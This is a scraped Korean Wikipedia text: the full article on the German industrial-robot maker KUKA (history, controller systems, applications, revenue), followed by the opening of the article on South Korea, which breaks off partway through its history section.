미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
KUKA - 위키백과, 우리 모두의 백과사전 KUKA 위키백과, 우리 모두의 백과사전. (쿠카에서 넘어옴) 둘러보기로 가기 검색하러 가기 KUKA 형태 주식회사 산업 분야 산업기계 창립 1898/1995 핵심 인물 Manfred Gundel (CEO) 제품 산업용로봇, 자동화 매출액 쿠카로보틱스 6,16 억 € 쿠카그룹 (2011) 14,35 억 € 웹사이트 www.kuka-robotics.com KUKA회사는 Johann Josef Keller 과 Jacob Knappich이 1898년에 창립하였다. KUKA는 산업용 로봇 제조업체로서 세계 20여개의 판매 및 서비스센터 지사를 설립하였다. KUKA 글로벌 영업 지점으로는 미국, 멕시코, 브라질, 한국 ,일본, 중국, 대만, 인도 와 유럽 여러 나라가 있다.회사 이름 KUKA 는 Keller und Knappich Augsburg의 첫 문자 조합으로 쿠카 모든 제품의 등록상표이다. 목차 1 회사연혁 2 회사자료 3 중요사건 4 시스템 소개 및 기타 응용사례 4.1 로봇시스템 소개 4.2 기타 응용사례 5 재무데이터 6 참고문헌 7 외부 링크 회사연혁[편집] 쿠카본사는 1898년에 Johann Josef Keller 과 Jakob Knappich이 독일 아우크스부르크에서 설립하였다.최초에는 실내조명에 집중하였으며 나중에 기타 영역(용접 및 대형 용기)으로 발전하였다. 1973년 KUKA회사가 연구 개발한 FAMULUS는 세계 첫 전동으로 구동하는 6축 산업용 로봇이다.당시 쿠카회사는 Quandt그룹에 소속하였으나 1980년 Quandt회사에서 분리되어 단독회사를 설립하였으며 1995년에 KUKA 로봇틱스회사와 KUKA 제조시스템 회사로 나뉘었다.두 회사는 모두 쿠카그룹(전신 IWKA그룹 )에 소속된다.KUKA는 산업응용에서 선진적인 자동화 솔루션을 제공하고있다. 회사자료[편집] KUKA 로봇틱스회사는 지금 총 3150명이 있으며 (2012년9월30일 자료)본사는 독일 아우크스부르크에 자리 잡고 있다.제품은 주로 자동차제조영역에 사용되고 현재 기타 산업응용에도 점점 많이 사용되어가고 있다. 자동차 산업응용:아크 웰딩 중요사건[편집] 1971 - Daimler-Benz를 위해 유럽 최초의 용접전송라인을 생산. 1973 - KUKA는 세계 첫 전동으로 구동하는 6축 산업용 로봇 FAMULUS를 생산. 1976 - IR 6/60 - 새로운 로봇 유형인 6축구동암. 1989 - 새로운 세대의 산업용 로봇 탄생 - 브러시리스모터 사용으로 보수비용을 절약. 2007 - KUKA TITAN 당시 세계 최대의 6축 산업용 로봇 제조.기네스북에 기록.[1]。 2010 - KR QUANTEC 시리즈 산업용 로봇:처음으로 하중이 90-300KG 상황에서 작동 범위가 3100mm에 달할 수 있는 산업용 로봇을 제조. 2012 - 새로운 소형 로봇시리즈 KR AGILUS 제조. 시스템 소개 및 기타 응용사례[편집] 로봇시스템 소개[편집] 매 하나의 로봇마다 각자의 제어판이 있으며 Windows 및 VxWorks 기반에서 기동한다. 제어판(the KCP, or KUKAControlPanel)의 버튼 또는 통합마우스를 이용하여 위치이동 가능하며 TouchUp을 통해 대응하는 위치를 보존한다. 또한 자유 이동경로, 직선, 원에 대한 성능, 데이터를 수정할 수 있다. 컨트롤 캐비닛에 장착된 컴퓨터는 MFC카드를 통해 로봇 시스템과 통신하고, 조작기와 컨트롤러의 작동(이동)신호는DSE-RDW에 의해 전파된다. DSE카드는 컨트롤 캐비닛안에 장착되고 RDW카드는 로봇에 장착된다. 이전 버전(2000년 이전)의 KRC1 컨트롤러가 사용하는 소프트웨어는 윈도 95 운영 체제이다. 외부 장치는 CD - ROM과 디스크 드라이브가 포함되며, PCI/ISA 슬롯 사용 및 Profibus, Interbus, Devicenet등의 통신이 가능하다. 새로운 버전 KRC2 컨트롤러는 Windows XP 운영 체제를 사용하며(일부는 윈도 2000 임베디드) CD - ROM 드라이브와 자동저장 가능한 USB 포트를 포함한다. 대부분 로봇은 모두 등황색((RAL 2003))혹은 검정색을 사용하며 전자는 독특한 회사 주요색상울 표현하고있다. 기타 응용사례[편집] KUKA로봇은 운반가공팔레아티징,용접,아크 웰딩에 사용될뿐만 아니라 자동화 금속가공 식품과 플라스틱 산업분야에도 사용된다.쿠카산업용 로봇의 고객은:제너럴 모터스、크라이슬러、포드 자동차 회사、포르쉐、BMW、아우디、메르세데스-벤츠、폭스바겐、페라리、할리데이비슨、보잉、지멘스、이케아、스와로브스키、월마트、 버드와이저、BSN Medical、코카콜라등등. 운반산업: 산업용로봇은 운반산업에서 중요한 작용을 일으키고있으며 이는 하중과 작동범위에 표현된다. 식품산업: 식품산업에서 쿠카로봇은 제품의 운반,스택,팔레타이징에 사용된다. 식품팔레타이징 로봇 건축산업: 제품의 운송,가공 및 고효율생산과정에 상용. 건축산업, 철강 절삭에 사용 유리제조산업 유리 및 석영유리제조 및 특수가공에 작용. 평면유리처리,Titan로봇--1000KG부하능력 주조산업 주소기계에 장착되어 고온현장에 사용. 자동화파운드리산업,고온현장에 사용 목재산업 연삭, 밀링, 드릴링, 절단 등 가공생산은 모두 산업용 로봇으로 완성할 수 있다. 목재가공:CNC공작기계 커팅 금속가공산업 금속 드릴링, 밀링, 절단 절곡에 사용. ?또한 용접, 조립 등에도 사용할 수 있다. 금속가공:YAG레이저커팅 석재가공산업 석재 커팅,가공 및 자동 3D 처리에 사용된다. 석재가공:석영주방조리대 커팅 용접 산업 AR 용접,CO2 용접, 혼합가스 용접, 아크 용접 등을 프로그래밍 하여 원하는 경로에 용접을 사용할 수 있다. 이외에도 KUKA 산업용 로봇은 할리우드 영화촬영 장면에도 나타나고 있다. 제임스 본드의 영화 어나더 데이에서 국가 안보국 특무 할리 베리가 아이슬란드에서 레이저 용접 로봇의 위협을 받고있는 장면, 론 하워드감독의 영화 ‘다빈치 코드’중 로봇이 로버트 랭던의 출연자 톰 행크스에게 비밀 번호 튜브를 담은 박스를 건네주는 장면 등이 그것이다. 또한 KUKA로봇은 놀이공원을 위한 여객운반 Robocoaster로봇도 생산하고 있다. KUKA´s Robocoaster 은 산업용 로봇이 제공할 수 있는 무한한 동작 자유도의 이점을 레저 및 오락 분야에 접목시킨 독창적 제품이다. 재무데이터[편집] 매출액 (쿠카 로보틱스) 4.13 억 € (2008) 3.3 억 € (2009) 4.35 억 € (2010) 6.16 억 € (2011) 쿠카 로보틱스회사: CEO Manfred Gundel CFO Michael Albert 매출액 (KUKA 그룹) 12.86 억 € (2007) 12.66 억 € (2008) 9.02 억 € (2009) 10.78 억 € (2010) 14.35 억 € (2011) 쿠카 그룹: CEO Dr. Till Reuter CFO Peter Mohnen 참고문헌[편집] 쿠카로보틱스코리아주식회사 독일 위키백과 KUKA내용 ↑ Guiness World Records Ltd. (Hrsg.): Guinness World Records 2007. Bibliographisches Institut, Mannheim, 2007. ISBN-13: 978-3411140770 외부 링크[편집] 쿠카로보틱스코리아주식회사 좌표: 북위 48° 22′ 12″ 동경 10° 56′ 08″ / 북위 48.37° 동경 10.93565°  / 48.37; 10.93565 원본 주소 "https://ko.wikipedia.org/w/index.php?title=KUKA&oldid=23640528" 분류: 독일의 기업독일의 다국적 기업바이에른주의 기업숨은 분류: 위키데이터에 없는 좌표 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةتۆرکجهBoarischČeštinaDanskDeutschΕλληνικάEnglishEspañolفارسیSuomiFrançaisBahasa IndonesiaItaliano日本語Bahasa MelayuNederlandsNorskPolskiPortuguêsРусскийSvenskaTürkçeTiếng Việt中文 링크 편집 이 문서는 2019년 2월 6일 (수) 01:32에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
대한민국 - 위키백과, 우리 모두의 백과사전 대한민국 위키백과, 우리 모두의 백과사전. (남한에서 넘어옴) 둘러보기로 가기 검색하러 가기 다른 뜻에 대해서는 대한민국 (동음이의) 문서를 참조하십시오. 대한민국 大韓民國 국기 국장 국가 애국가 수도 서울 북위 37° 34′ 08″ 동경 126° 58′ 36″ / 북위 37.568889° 동경 126.976667°  / 37.568889; 126.976667 서울 정치공용어 한국어정치체제 공화제, 자유민주주의, 단일 국가, 대통령중심제대통령국회의장대법원장헌법재판소장국무총리 문재인문희상김명수유남석이낙연역사   • 독립 선언 1919년 3월 1일 • 임시 정부 수립 1919년 4월 11일 • 광복 1945년 8월 15일 • 헌법 제정 1948년 7월 17일 • 제1공화국 수립 1948년 8월 15일 • 4.19 혁명 1960년 4월 19일 • 제6공화국 수립 1988년 2월 25일지리면적 100,363km2 (107 위)내수면 비율 0.3%시간대 KST (UTC+09:00)DST 없음인구2018년 어림 51,635,000명2018년 조사 51,826,059명 (27위)인구 밀도 516.3명/km2 (26위)경제GDP(PPP) 2016년 어림값 • 전체 1조 9340억 $[1] (13위) • 일인당 27,538 $[1] (29위)명목 1조 4112억 $[1] (11위)HDI 0.901[2] (18위, 2016년 조사)통화 원 (KRW,₩) (KRW)기타ISO 3166-1 410, KR, KOR도메인 .kr / .한국국제 전화 +82 대한민국(듣기 (도움말·정보), 大韓民國, 영어: Republic of Korea; ROK[3])은 동아시아의 한반도 중남부에 있는 공화국이다. 서쪽으로는 서해를 사이에 두고 중화인민공화국이, 동쪽으로는 동해를 사이에 두고 일본이 있으며 북쪽으로는 조선민주주의인민공화국과 맞닿아 있다. 수도는 서울특별시이며, 국기는 태극기[4], 국가는 애국가, 공용어는 한국어와 한국 수어이다. 대한민국 국내에서는 간단히 한국(韓國), 남한(南韓) 등으로도 부른다. 대한민국이라는 명칭은 3.1 운동을 통해 독립을 선언하고, 1919년 4월 11일 대한민국 임시정부가 수립하며 시작되었다. 1945년 광복 이후, 한반도의 북위 38도선 이남 지역 거주자들의 자유로운 선거(5.10 총선거)를 통하여 1948년 8월 15일에 공식적인 민주주의 국가로 출범하였다. 대한민국 헌법 전문에 따르면 대한국민은 3.1운동으로 건립된 대한민국 임시 정부의 법통을 계승한다. 대한민국은 1948년 12월 유엔 총회 결의 제195호를 통해 유엔으로부터 한반도 대다수 주민의 자유로운 의사에 따라 탄생한 한반도 유일한 정부로서 합법 정부로 승인 받았다. 이와 관련하여 대한민국 정부가 1948년에 유엔 감시 하에 선거를 실시한 한반도 이남에서만 유일한 합법 정부라는 주장도 있다.[5] 1991년 대한민국과 조선민주주의인민공화국은 동시에 UN에 가입하였다. 한편 국제법 상의 관례와 통설[6], 대한민국의 헌법재판소의 판례에 따르면 조선민주주의인민공화국이 UN에 가입하였다 하여 가맹국들 상호 간에도 당연히 그 국가성이 승인되는 것은 아니고 또 그러한 의무가 있는 것이 아니다.[7] 대한민국은 조선민주주의인민공화국의 국가성을 원칙적으로 부정한다.[8] 대한민국은 한국 전쟁 이래 일명 '한강의 기적'이라고 불리는 높은 경제 발전을 이룩하며, 1990년대에 이르러 세계적인 경제 강국으로 발전하였다. 2015년 구매력 기준 1인당 국민 총소득(GDP)은 36,601달러로[9] 세계은행에서 고소득 국가로 분류되었고, 2016년 유엔의 인간 개발 지수(HDI) 조사에서 세계 18위로 '매우 높음'으로 분류되었다.[2] 또한, 국제 통화 기금(IMF)에서는 대한민국을 선진 경제국으로 분류하고 있다. 대한민국의 명목 국내 총생산(GDP)은 2016년 1조 4112억 달러이다.[9] 또한, 대한민국은 주요 20개국(G20), 경제 협력 개발 기구(OECD), 개발 원조 위원회(DAC), 파리 클럽과 같은 기구에서 회원국으로 활동하고 있다.[10] 목차 1 국명 2 지리 2.1 지형 2.2 기후 2.3 동식물 2.4 천연자원 3 역사 3.1 기원 3.2 대한민국 임시정부 3.3 군정기와 해방 정국 3.4 대한민국 정부 수립 3.5 한국 전쟁 3.6 제1·2공화국 3.7 제3·4공화국 3.8 제5공화국 3.9 노태우 정부와 문민정부 3.10 국민의 정부와 참여정부 3.11 이명박 정부와 박근혜 정부 3.12 문재인 정부 4 정치 4.1 정부 4.1.1 입법부 4.1.2 행정부 4.1.3 사법부 4.2 정당 4.3 행정 구역 4.4 외교 4.4.1 남북 관계 4.4.2 한미 관계 4.4.3 한일 관계 4.4.4 한중 관계 4.4.5 한러 관계 5 국방 5.1 육군 5.2 공군 5.3 해군 5.3.1 해병대 6 경제 6.1 개관 6.1.1 부채 6.2 산업 6.2.1 농업 6.2.2 공업 6.2.3 동반 성장 6.3 교통 6.3.1 육상 교통 6.3.1.1 도로 6.3.1.2 버스 6.3.1.3 철도 6.3.2 항공 교통 6.3.3 해상 교통 7 사회 7.1 사회적 약자 7.1.1 노동자 7.1.2 성소수자 7.1.3 여성 7.1.4 이주민 7.1.4.1 난민 7.2 인구 7.2.1 도시의 인구 순위 7.3 교육과 문화 7.4 복지 7.5 사회 갈등 7.5.1 갈등·소통 지수 7.6 사회 지표 7.7 심리 7.7.1 대응 7.8 여가 8 문화 8.1 언어 8.2 언론 8.3 종교 8.4 예술 8.4.1 문학 8.4.2 음악 8.4.3 미술 8.5 스포츠 8.6 한류 8.7 공휴일 9 국제 순위 10 관련 항목 11 각주 12 외부 링크 국명 한국의 역사韓國史 선사시대 구석기 시대 신석기 시대 (빗살무늬토기 시대) 청동기 시대 (민무늬토기 시대) 고조선시대 단군조선(?~기원전 194년) 위만조선(기원전 194년~기원전 108년) 진(辰)(기원전 4세기~기원전 2세기) 원삼국시대 부여 옥저 동예 마한 진한 변한 삼국시대 고구려(기원전 37년~668년) 백제(기원전 18년~660년) 신라(기원전 57년~ ) 가야(42~562년)   남북국시대 발해(698~926년) 통일신라(676년~ ) 후삼국시대 태봉(901~918년) 후백제(892~936년) 신라( ~935년) 통일왕조시대 고려(918~1392년) 조선(1392~1897년) 대한제국(1897~1910년) 식민지시대 일제 강점기(1910~1945년)   대한민국 임시 정부(1919~1945년) 현대 군정기 한국 (1945~1948년) 조선민주주의인민공화국(1948년~현재) 대한민국(1948년~현재) v • d • e • h 이 부분의 본문은 한국의 나라 이름입니다. '대한민국'이란 국호 중 대한(大韓)의 어원은 고대 한반도 남부 일대에 존재했던 나라의 이름인 한(韓)에서 유래한다. 마한, 진한, 변한을 합쳐 삼한이라고 불렀으며, 고구려, 백제, 신라를 합쳐 삼한이라 부르기도 하였다. 한(韓)이라는 말은 종교적 의미와 정치적 의미가 복합적으로 이루어져 고대부터 내려오던 말로서, '하나', '하늘', '크다', '칸(汗) 등 여러 해석이 있다. 근대 국가의 국호로서 '대한'은 1897년 고종이 대한제국을 선포하면서 다시 선택한 것으로 새 국호를 정한 이유를 "조선이라는 이름은 기자가 봉해졌을 때의 이름이니 제국의 이름으로 합당하지 않은데, 한(韓)이라는 이름은 우리의 고유한 이름이며 삼국시대의 세 국가를 아우르는 것이기도 하므로 '큰 한'이라는 이름이 적당하다"고 밝혔다. 이후 여기에 민국(民國)[11]을 더한 '대한민국'이라는 국호는 1919년 3.1운동 직후에 만들어진 대한민국 임시 정부에서 정한 것이다. 1919년 4월 10일 임시 정부의 첫 의정원 회의에서 신석우가 '대한민국'(大韓民國)으로 국호를 정하자고 한 것에 여운형이 '대한'이라는 이름으로 나라가 망했는데 또다시 '대한'을 쓸 필요가 있느냐며 반박하자, 다시 신석우가 "대한으로 망했으니 대한으로 다시 흥해보자"라고 부연 설명을 하였고, 이에 다수가 공감함에 따라 '대한민국'으로 결정되었다고 전해진다.[12][13] 광복 후 1948년 제헌 국회에서 이 국호를 계승하여 헌법에 명시하였고 다시 1950년 1월 16일 국무원고시 제7호 '국호 및 일부지방명과 지도색 사용에 관한 건'에 의해 확정하였다.[14] 이에 20세기 전반까지도 널리 사용되던 지명으로서의 '조선'이라는 이름은 '대한'이나 '한국', '한(韓)'으로 대체되어 현재 대한민국 내에서는 자주 쓰이지 않게 되었다. 이에 따라 대한민국의 국민은 자국의 국호를 '대한민국', '한국' 등으로 부르며, 자국을 호칭할 때는 흔히 '우리나라'라고 한다. '대한'이라는 칭호를 사용하기도 하며, 한반도 북부에 자리한 조선민주주의인민공화국과 대비해 한반도 남부에 있다 하여 '남한'으로도 불리는데 특히 조선민주주의인민공화국은 이를 남조선(南朝鮮)이라고 부른다.[15] 일본, 중화인민공화국, 중화민국, 베트남 등 주로 동아시아에 있는 한자 문화권 국가들에서도 일상에서 대한민국을 간단히 한국(중국어 간체자: 韩国, 정체자: 韓國, 병음: hánguó 한궈[*], 일본어: 韓国 간코쿠, 베트남어: Hàn Quốc한 꾸옥)이라 부른다. 다만 여전히 한반도 전체를 부를 때는 조선(중국어 간체자: 朝鲜, 정체자: 朝鮮, 병음: cháoxiǎn 차오시엔[*], 일본어: 朝鮮 조센, 베트남어: Triều Tiên찌에우 띠엔)이라는 명칭을 사용한다. 현재 영어권 국가에서는 일반적으로 Korea로 불리는데, 이 명칭의 시초는 중세 왕국인 '고려'라는 국명이 수도인 개성으로 통하는 벽란도를 출입하던 아라비아 상인들에게 전해지면서 Corea로 음역 되어 전 세계에 전해진 것이다.[16] 그 후 서방에 전해져 프랑스어로 Corée, 스페인어로 Corea, 영어로 Korea라고 불리게 되었다. 현재 대한민국의 공식 영어 명칭은 Republic of Korea로서, 약칭 'R.O.K.'로도 사용된다. 대한제국 시절 공식 문서에는 Corea 또는 Korea가 혼용되어 사용되었고, 1900년대 초기부터 영어권에서는 Korea의 사용 빈도가 높아지게 되었다. 1892년 외국인이 자주 보는 잡지 〈The Korean Repository〉 5월호에는 “미국 국무부와 영국의 왕립지리학회는 우리가 차용한 이 땅의 이름을 아주 조리 있게 Korea로 표기하기 시작했던 것”이라는 내용이 나온다.[17] 다만일제강점기에 들어서는 일본의 한 지방이 된 것으로부터 Chosen이라는 일본식 명칭을 사용하기도 했다.[17] 지리 지형 대한민국의 지도 대한민국은 동해를 사이에 두고 일본 열도와, 황해를 사이에 두고 중화인민공화국과 마주하며, 육지로는 군사 분계선을 사이에 두고 조선민주주의인민공화국(북한)과 맞닿아 있다.[18] 한반도는 제3기 마이오세 이후에 일어난 단층과 요곡운동의 결과 동쪽으로는 높은 산지가 급경사로 동해안에 임박하고 서쪽으로는 서서히 고도가 낮아진다. 이를 동고서저의 경동지형이라 한다. 높은 산들은 대부분 동부 지방에 치우쳐서 한반도의 등줄기라 불리는 태백산맥에 자리한다. 태백산맥의 대표적인 산이 설악산이다. 태백산맥의 남서쪽으로 소백산맥이 이어지며 그 중에는 지리산이 유명하다. 제주도에는 대한민국에서 가장 높은 산이자 사화산인 한라산이 있다. 대한민국의 지형도 하천의 유량은 극히 불규칙하여 여름에는 집중 호우로 연 강수량의 약 60% 이상이 홍수로 유출되며, 갈수기에는 강바닥을 거의 드러내는 하천이 많다. 대표적인 강은 위쪽부터 반시계 방향으로 한강, 금강, 영산강, 섬진강, 낙동강 등이다. 대다수의 강이 산지가 많은 동쪽에서 평평하고 낮은 구릉이 대부분인 서쪽으로 흐르며 중하류에 비교적 넓은 충적평야가 전개된다. 산맥은 교통에 적지 않은 제약을 주어, 산맥을 경계로 지역의 문화나 풍습이 크게 차이가 나기도 한다. 산맥으로 가로막힌 지방은 고개를 넘어 왕래했는데 영서 지방과 영동 지방을 연결하는 태백산맥의 대관령·한계령·진부령·미시령, 중서부와 영남 지방을 연결하는 소백산맥의 죽령·이화령·추풍령·육십령 등이 산맥을 넘는 주요한 교통로로 사용된다. 한반도의 서쪽은 황해, 동쪽은 동해, 남쪽은 남해와 맞닿아 있어 삼면이 바다로 둘러싸인 반도형이며, 가장 큰 부속 도서인 제주도 남쪽으로는 동중국해와 접한다. 황해와 남해 연안은 해안선이 복잡한 리아스식 해안으로 조수 간만의 차가 클 뿐만 아니라 해안 지형도 꽤 평탄하여 넓은 간석지가 전개된다. 또한 수많은 섬이 있어서 다도해라고도 불린다. 반면에 동해 연안은 대부분 해안선이 단조롭고 수심이 깊으며 간만의 차가 적다. 해안 근처에는 사구·석호 등이 형성되어 있고 먼 해상에 화산섬인 울릉도가 있으며 그보다 동쪽으로 약 87.4km 거리에 대한민국 최동단인 독도가 위치한다. 기후 인공위성으로 촬영한 대한민국. 북위 33도~38도, 동경 126~131도에 걸쳐 있어 냉대 동계 소우 기후와 온대 하우 기후, 온난 습윤 기후가 나타난다. 겨울에 북부 지역은 편서풍으로 인해 시베리아와 몽골 고원의 영향을 받아 대륙성 기후를 띠어서 건조하고 무척 추우나 남부 지역은 이런 영향을 적게 받아 상대적으로 온난한 편이다. 여름에는 태평양의 영향을 받아 해양성 기후의 특색을 보여서 고온다습하다. 계절은 사계절이 뚜렷이 나타나며 대체로 북부 지역은 여름과 겨울이 길고 남부 지역은 봄과 가을이 길다. 4월 초에서 5월에 걸쳐 포근한 봄 날씨, 6월경에서 9월 초에는 무더운 여름이, 9월 말에서 10월 말까지는 화창하고 건조한 가을 날씨가 이어지고, 11월에 기온과 습도가 점차 낮아지기 시작하여 12월에서 2월까지는 춥고 건조한 겨울 날씨를 보인다. 중부 산간 지방을 제외하고 대체로 연 평균 기온은 10 ~ 16℃이며, 가장 무더운 달인 8월은 23 ~ 36℃, 5월은 16 ~ 19℃, 10월은 11 ~ 19℃, 가장 추운 달인 1월은 -6 ~ 3℃이다.[19] 비는 주로 여름에 많이 내리는데 연 강수량의 50 ~ 60%가 이때 집중된다. 이를 장마라고 하며 특히 6월 말에서 7월 중순까지를 장마철이라 한다. 각 지역의 연 평균 강수량은 중부 지방이 1100 ~ 1400mm, 남부 지방이 1000 ~ 1800mm, 경북 지역이 1000 ~ 1200mm이다. 경상남도 해안 지역은 약 1800mm이며 제주도는 1450 ~ 1850mm이다.[19] 습도는 7월과 8월이 높아서 전국에 걸쳐 80%정도이고 9월과 10월은 70% 내외이다. 태풍은 북태평양 서부에서 연평균 28개 정도가 발생하여, 이 중 두세 개가 영향을 미친다.[19] 동식물 대한민국의 식생 문서를 참고하십시오. 시베리아호랑이는 한국호랑이와 비슷한 종류이다. 한반도 전역에 동식물 10만여 종이 분포한다. 호랑이 중에서 가장 큰 종인 시베리아호랑이가 과거 살았었으나 현재는 보이지 않는다. 그 밖의 맹수로는 반달곰과 표범이 있으며 소수 개체군이 생존한다. 그 밖에도 멧돼지, 고라니, 너구리 등의 포유류와 까치, 꿩, 참새, 비둘기를 비롯한 텃새, 두루미, 기러기 같은 철새가 서식하며 지네나 거미, 수많은 곤충류도 있다. 삼면이 바다여서 난류와 한류에 서식하는 다양한 어패류와 고래도 존재한다. 다만 최근에는 지구 온난화로 한류성 어류가 감소하고 불가사리나 해파리가 급증해서 큰 문제가 되고 있다. 산삼이나 진달래, 소나무 등 많은 식물은 약용이나 기타 여러 용도로 쓰인다. 제주도에는 열대림과 비슷한 야자수가 번육하며 지리산이나 태백산맥에는 북방계형의 특산 식물들이 자생한다. 백두산에는 시베리아나 만주에서만 볼 수 있는 침엽수림과 같은 북방계 식물류가 자란다. 중부 지방에는 높은 산지로 말미암아 고산형 식물과 약용식물 여러 종이 자생한다. 천연자원 대한민국의 자원 문서를 참고하십시오. 시멘트 공업과 석회공업(石灰工業)의 원료인 석회암은 한국의 주요 자원으로 각지에 대량 분포해 있다. 다른 자원은 양이 적거나 품질이 낮아 채산성이 맞지 않는 탓에 거의 생산하지 않는다. 다만 21세기 이래 국제 원자재 가격의 상승과 기술의 발전으로 재개장하는 광산이 있다. 석탄은 무연탄만이 있으며 삼척, 태백 일대에 집중되어 있다. 철광석은 양양, 충주 등지에서 주로 캤다. 텅스텐은 매장량이 매우 많으며 특히 영월에 엄청난 규모의 광산이 있다. 울산 앞바다에서는 천연가스층이 발견되어 개발하고 있으며, 독도 부근 해저에는 메테인 하이드레이트가 상당량 묻혀 있는 것으로 알려져 있다. 석유는 제주도 남방 해역의 대륙붕 제7광구에 천연가스와 함께 매장되어 있을 가능성이 언급되지만[20] 실제로 탐사되지는 않았다. 이곳은 1974년에 체결한 한일 대륙붕 협정에 의해 2028년까지 한일이 공동 관리한다. 역사 이 부분의 본문은 대한민국의 역사입니다. 1948년 이전 한반도를 중심으로 한 한민족의 역사에 관해서는 한국의 역사 문서를 참고하십시오. 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2018년 7월 6일에 문단의 출처가 요청되었습니다.) 기원 이 부분의 본문은 한민족입니다. 한민족의 영산(靈山)으로 일컬어지는 백두산 천지. 한반도에 두 발로 걷고 도구를 이용하는 사람들이 살기 시작한 시기는 기원전 약 70만 년 이전으로 추정되며, 현생인류는 후기 구석기 시대인 약 2만 5천 년 전부터 해안과 강가를 중심으로 거주하기 시작한 것으로 보인다. 인골 화석으로는 충청북도 단양군 상시굴과 두루봉동굴, 제천시 점말굴 등에서 현생인류로 추정되는 사람 뼈 화석이 발견된 바 있다. 이후 중석기 시대와 신석기 시대를 거치면서 여러 빗살무늬 토기인, 무문토기인 등 여러 인종의 유입과 주변 세력들과의 상호작용을 통해 문명이 발전했다. 다만 초기 구성원들의 이동과 외부 세력 유입의 구체적 모습은 확실하지 않다. 한반도 일대의 최초의 국가는 고조선이다. 일연의 《삼국유사》에서는 현전하지 않는 《고기》를 인용하여 단군 왕검이 고조선을 세웠다고 기록하였고 《동국통감》에서 그 시기를 기원전 2333년이라 하였다. 날짜는 대종교에서 임의로 음력 10월 3일로 약속하고 개천절이라 불렀는데 대한민국 정부에서 그 날을 양력으로 고쳐 국경일로 지정하였다. 고조선 멸망을 전후하여 부여, 옥저, 동예, 진국, 삼한 등 여러 나라가 생겨났고, 이후 고구려, 백제, 신라의 삼국 시대로 이어졌으며 이 중 신라가 삼국을 부분적으로 통일하는 한편 북쪽의 발해와 함께 남북국 시대를 형성했다. 10세기 고려가 등장하면서 한민족 단일 국가의 시대를 시작했고 14세기 조선이 이를 계승했다. 근대 한국의 뿌리는 1897년에 수립된 대한제국이다.[21] 고종 황제는 나라 이름을 조선(朝鮮)에서 대한(大韓)으로 고치고, 연호를 광무(光武)라 정하고, 스스로 황제의 자리에 올랐다. 최초의 근대적 헌법인 대한국 국제를 반포하였고, 미국, 영국, 독일, 프랑스, 이탈리아, 러시아, 일본, 청나라 등과 수교하였다. 광무개혁을 단행하여 신식군대를 설치하고, 근대적 사법·토지 제도를 도입하고, 상공업을 진흥하고, 근대적 병원과 학교 및 은행 등을 설립하였다. 해외에 유학생을 파견하여 근대 산업기술을 습득하게 하고, 제조·철도·운수 등 여러 분야에서 근대적 기업과 공장을 설립하였다. 그러나 대한제국의 자주적 근대화 노력은 1895년 청일 전쟁으로 일본의 영향력이 커진 이래 간섭을 받아왔으며, 1904년에는 러일전쟁에서 일본이 승리한 뒤로 일본의 한국 병합이 본격화되었다. 1905년 을사조약을 무력으로 체결하여 외교권을 박탈하고, 1907년 고종 황제를 폐위하고, 1910년 한일 병합 조약을 통해 국권을 빼앗기며 일제 강점기로 전환, 근대적 자주국가라는 목표는 사라지고 말았다. 대한민국 임시정부 일제강점기, 대한민국 임시정부 문서를 참고하십시오. 대한민국 임시정부 국무원 기념 사진(1919년 10월 11일). 1919년 3월 1일, 한국인들은 민족대표 33인의 독립선언서 낭독을 시작으로 독립을 위한 3·1운동을 펼쳤다. 이 운동은 대체로 각 지역에서 정기적으로 열리던 장(시장)의 개장일에 맞추어 전국으로 퍼져 나갔다. 일본은 시위를 무력으로 진압하였으나 폭압 통치 방식의 한계를 느껴 헌병 경찰 통치에서 문화 통치로 전환하였다. 이는 국내외 독립운동의 새로운 전환점을 마련하게 된다. 4월 11일, 3·1운동의 정신을 이어받아 중화민국 상하이에서 대한민국 임시정부가 수립되었다. 임시정부는 대한민국 임시 헌법을 제정하여 대통령제와 3권 분립을 채택하고 한국의 독립을 위하여 외교·군사적으로 노력했다. 그러나 독립운동 노선의 갈등으로 여러 인사들이 빠져나가면서 국무령 중심의 집단지도체제로 전환하고, 일제의 방해까지 겹쳐 온갖 고난과 어려움을 겪었다. 1930년대 일본의 중국 침탈이 가속화되자 내륙으로 청사를 이전하여 중일전쟁이 한창이던 1940년에는 충칭에 정착하였다. 이후 김구를 주축으로 주석중심제로 재정비하고 조소앙의 삼균주의를 건국강령으로 채택하였다. 한국 광복군도 조직하여 1941년 12월 태평양 전쟁을 일으킨 일본에 선전포고하고 1942년 2월에는 대독 선전포고까지 하여 연합군의 일원으로 참전하고자 하였다. 1942년에는 좌파계열인 조선민족혁명당의 김규식, 김원봉 세력과 김성숙, 유림 등의 무정부주의자들이 임시정부에 합류하여 민족통일전선 형성의 기틀이 마련되었다. 1943년 버마 전선의 영국군과 연합작전을 전개하고자 공작대를 파견하여 일본군 포로 취조 및 암호 번역, 선전 전단 작성, 대적 회유 방송 등을 하였다. 미국 OSS와도 연계하여 1945년 9월을 기한으로 국내 진공 작전을 준비했으나, 8월 15일 일본이 항복하여 성사되지 못했다. 현행 대한민국 헌법 전문에는 대한국민이 3·1운동에 따라 건립된 대한민국 임시 정부의 법통을 계승한다는 문구가 삽입되었다. 군정기와 해방 정국 이 부분의 본문은 대한민국 정부 수립 및 군정기입니다. 1948년 